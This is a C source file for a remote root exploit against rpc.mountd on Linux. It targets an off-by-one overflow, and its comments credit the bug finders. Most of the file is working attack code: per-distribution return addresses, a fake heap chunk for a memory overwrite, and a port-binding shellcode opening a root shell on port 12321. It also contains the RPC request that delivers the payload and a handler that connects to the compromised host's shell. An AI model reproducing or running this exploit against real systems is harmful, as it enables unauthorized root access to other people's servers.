/*
 * UNPUBLISHED SOURCE CODE *** UNPUBLISHED SOURCE CODE *** UNPUBLISHED SOURCE CODE ***
 * Private research matrial you dont shoult to have this !!!
 *
 * remote rpc.mountd exploit for the recent xlog vunl
 * written by newroot :)
 *
 * attached is a full working REMOTE ROOT EXPLOIT for any debians rpc.mountd
 * thats compiled with gcc 2.95.4
 *
 * ive written this couse the security industry has stolen our wonderful off by one bugs
 * maybee its the last time i exploit one of the wonderfull of-by-ones
 * 
 * so greetings goes first to:
 * 		Janusz Niewiadomski	--	founder of the bug (public) 
 * 		klog			-- 	brougt us the off by one techniqe
 * 		^sq			-- 	founds some bugs in the xploitcode and brings us more offsets
 * 		sorbo			-- 	i recode my exploit as i saw his xdr things
 *						so many creditz goes to him 
 * newroot -- [www.newroot.de]
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
#include <rpc/rpc.h>
#include <rpc/clnt.h>
#include <rpc/xdr.h>
#include <rpcsvc/mount.h>

#define BUFSIZE	1024
#define ALIGN	1

int connect_host(char *, int);
void shell(int);
void do_xp(char *, int);


extern char *optarg;
extern int optind, opterr, optopt;

struct _targets {
        char desc[2048];
	int align;
	unsigned long ret_loc;
	unsigned long ret_addr;
} targets[] = {
        { "devel",
	  1,
	  0xbfffe000,
          0x66666666
        },
        { "Debian 3.0(x86)",
	  1,
	  0xbfffe000,
          0x0805b018
        },
	{ "Slackware 8.1(x86)",
	  3,
          0xbfffdf00,
          0x0805d17c
        },
        { "Redhat 6.2(x86)",
          3,
          0xbfffe300,
          0x0805d8f8
	},
        { 0x00, 0x00 , 0x00}
};

struct fakechunk
{
  uint32_t prev_size;
  uint32_t size;
  uint32_t junk;
  uint32_t bk;
  uint32_t fd;
};

int verbose;            /* extra output */
int align;		/* padding */
int t;                  /* targetnumber */
unsigned long ret_addr;
unsigned long ret_loc;


unsigned char shellcode[] =
        // port 12321 - linux shellcode
	  "\xeb\x0a""dont tell!" 
          "\x55\x89\xe5\x31\xc0\x66\xc7\x45\xf2\x30"
          "\x21\x89\x45\xf4\x89\x45\xf8\x89\x45\xfc"
          "\x89\x45\xe8\xfe\xc0\x89\xc3\x89\x45\xe4"
          "\xfe\xc0\x66\x89\x45\xf0\x89\x45\xe0\xb0"
          "\x66\x8d\x4d\xe0\xcd\x80\x89\x45\xe0\xb0"
          "\x66\xfe\xc3\x8d\x55\xf0\x89\x55\xe4\x31"
          "\xd2\xb2\x42\x80\xea\x32\x89\x55\xe8\x8d"
          "\x4d\xe0\xcd\x80\xb0\x66\xfe\xc3\xfe\xc3"
          "\xfe\xc3\x89\x5d\xe4\xfe\xcb\x8d\x4d\xe0"
          "\xcd\x80\xb0\x66\xfe\xc3\x31\xd2\x89\x55"
          "\xe4\x8d\x4d\xe0\xcd\x80\x89\xd9\x89\xc3"
          "\xfe\xc9\xfe\xc9\xfe\xc9\x31\xc0\xb0\x3f"
          "\xcd\x80\xfe\xc1\xe2\xf4\x51\x68\x6e\x2f"
          "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51"
          "\x89\xe2\x53\x89\xe1\x31\xc0\xb0\x3d\x2c"
          "\x32\xcd\x80";


void help () {
        fprintf (stderr, "remote rpc.mountd exploit\n");
        fprintf (stderr, "written by newroot\n");
        fprintf (stderr, "---------------------\n");
        fprintf (stderr, "ussage: %s [options]  <dest>\n\n", "mounty");
        fprintf (stderr, "options are:\n");
        fprintf (stderr, "\t-t <num>\t# target type use 0 for list\n");
        fprintf (stderr, "\t-a <num>\t# align\n");
        fprintf (stderr, "\t-l <loc>\t# return localtion 0xdeadface\n");
        fprintf (stderr, "\t-b <addy>\t# return adress    0xdeadface\n");
        fprintf (stderr, "\t-v\t\t# verbose output\n\n");
}

void print_targets () {
        int i;

        fprintf (stdout, "Supported targets:\n");
        for (i=0; targets[i].ret_addr != 0; i++) {
                fprintf (stdout, "\t%i) - %s\n", i+1,  targets[i].desc);
        }
}



int connect_host(char * host,int port)
{
        struct sockaddr_in addr;
        struct hostent *he;
        int sock;

        he=gethostbyname(host);

        if (he==NULL) return EXIT_FAILURE;
        sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (sock==-1) return EXIT_FAILURE;

        memcpy(&addr.sin_addr, he->h_addr, he->h_length);

        addr.sin_family=AF_INET;
        addr.sin_port=htons(port);

        if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1;
        return sock;
}

void shell(int thesock)
{
        fd_set  fds;
        char buff[1024], *cmd="/bin/uname -a;/usr/bin/id;\n";
        int n;

        FD_ZERO(&fds);
        FD_SET(thesock, &fds);
        FD_SET(0, &fds);

        send(thesock, cmd, strlen(cmd), 0);
        while(1) {
                FD_SET(thesock,&fds);
                FD_SET(0,&fds);

                if(select(thesock+1,&fds, NULL, NULL, NULL)<0)
                        break;
                if( FD_ISSET(thesock, &fds) ) {
                        if(!(n=recv(thesock,buff,sizeof(buff),0))) {
                                exit(EXIT_FAILURE);
                        }
                        if (!write (1, buff, n))
                                break;
                }

                if ( FD_ISSET(0, &fds) ) {
                        n = read (0, buff, sizeof(buff));
                        if(n <= 0){
                                fprintf(stderr,"EOF\n");
                                exit(EXIT_FAILURE);
                        }
                        if(send(thesock,buff,n,0)<0) break;
               }
        }
        fprintf(stderr,"done.\n");
        exit(EXIT_SUCCESS);
}


/** trick from sorbos one creditz to him**/
bool_t xdr_dirpath(XDR *xdrs, dirpath *objp) {
   return xdr_string(xdrs, objp, MNTPATHLEN);
}



void do_xp(char *host, int t) {
	int thesock;
	struct sockaddr_in sin;
	struct hostent *he;
	struct timeval tv;
	CLIENT *client;	/* rpc/clnt.h */
	dirpath	DIR;
	fhstatus *fh;
	struct fakechunk chunk;
	int  *ptr;
	char payload[BUFSIZE+1];

	chunk.prev_size =        0xfffffffc;
	chunk.size      =        0xfffffffc;
	chunk.junk      =        0xbfffffa1;

	memset (payload, 0x41, sizeof(payload));
	payload[0] = '/';
	payload[BUFSIZE]= 0x00;

	
	for(ptr = (int *)((char*)payload+targets[t].align+300);
			ptr < (int*)(payload+sizeof(payload)-6); ptr++)
	{
		*ptr = targets[t].ret_addr+4+8;       
	}

	
	chunk.bk = (targets[t].ret_loc)+4-12;
	chunk.fd = (targets[t].ret_addr)+40;
        memcpy(payload+4,&chunk,sizeof(chunk));
        memcpy(payload+40,shellcode,strlen(shellcode));

        he=gethostbyname(host);

        if (he==NULL) exit(EXIT_FAILURE);
        memcpy(&sin.sin_addr, he->h_addr, he->h_length);
	sin.sin_port = 0;
	sin.sin_family = AF_INET;


       	fprintf (stdout, "[*] target host: %s\n", host);
       	fprintf (stdout, "[*] target ip  : %s\n", inet_ntoa(sin.sin_addr.s_addr));
	
	thesock = RPC_ANYSOCK;
	client = clnttcp_create(&sin, MOUNTPROG, MOUNTVERS, &thesock, 0, 0);
	if (!client) {
       	fprintf (stdout, "[-] Exploit Failed!\n");
		exit (EXIT_FAILURE);
	}
	client->cl_auth = authunix_create_default();

	tv.tv_sec = 6;
	tv.tv_usec = 0;
	DIR = payload;

       	fprintf (stdout, "[*] Sending exploit!\n");
	// fh = mountproc_mnt_1 (&DIR, client);
	if(clnt_call(client, MOUNTPROC_MNT, (xdrproc_t) xdr_dirpath, 
				(void *)&DIR,(xdrproc_t) xdr_void, NULL,tv) == RPC_SUCCESS) {
	 	exit(EXIT_FAILURE);
         }
}

int main (int argc, char **argv) {
	char c;
	int opterr = 0;
	int thesock;

        while ((c = getopt(argc, argv, "t:a:l:b:vh")) != EOF) {
                switch (c) {
                        case 't':
                                t = atoi (optarg);
                                if (t == 0) {
                                        print_targets();
                                        return EXIT_SUCCESS;
                                } else { --t; }
                        break;

                        case 'a':
                                align = atoi (optarg);
                        break;

                        case 'l':
                               sscanf (optarg, "%x" , &ret_loc);
                        break;

                        case 'b':
                               sscanf (optarg, "%x" , &ret_addr);
                        break;

                        case 'v':
                                ++verbose;
                        break;

                        default:
                                help ();
                                return EXIT_SUCCESS;
                        break;
                }
        }

        if (argc < 2 ) {
                help();
                return EXIT_FAILURE;
        }

	fprintf (stderr, "rpc.mountd remote exploit -- written by newroot!\n");
        fprintf(stdout, "[*] Ok going to exploit something...\n");

	if (ret_loc) {
		if (verbose) {
			printf ("[*] setting return-location to %#x\n", ret_loc);
		}
		targets[t].ret_loc = ret_loc;
	}
	if (ret_addr) {
		if (verbose) {
			printf ("[*] setting return-adress  to %#x\n", ret_addr);
		}
		targets[t].ret_addr = ret_addr;
	}
	if (align) {
		if (verbose) {
			printf ("[*] align to %#x\n", align);
		}
		targets[t].align = align;
	}
	do_xp(argv[(argc-1)], t);
	thesock = connect_host (argv[argc-1], 12321);
        if (thesock > 3) {
		 fprintf(stdout, "[*] Exploit successful !!!\n");
	         fprintf(stdout, "[*] waiting for shell ...\n");
	         shell(thesock);
	 } else {
		fprintf(stderr, "[-] Failed!\n");
		return EXIT_FAILURE;
	 }	

	return EXIT_SUCCESS;
}
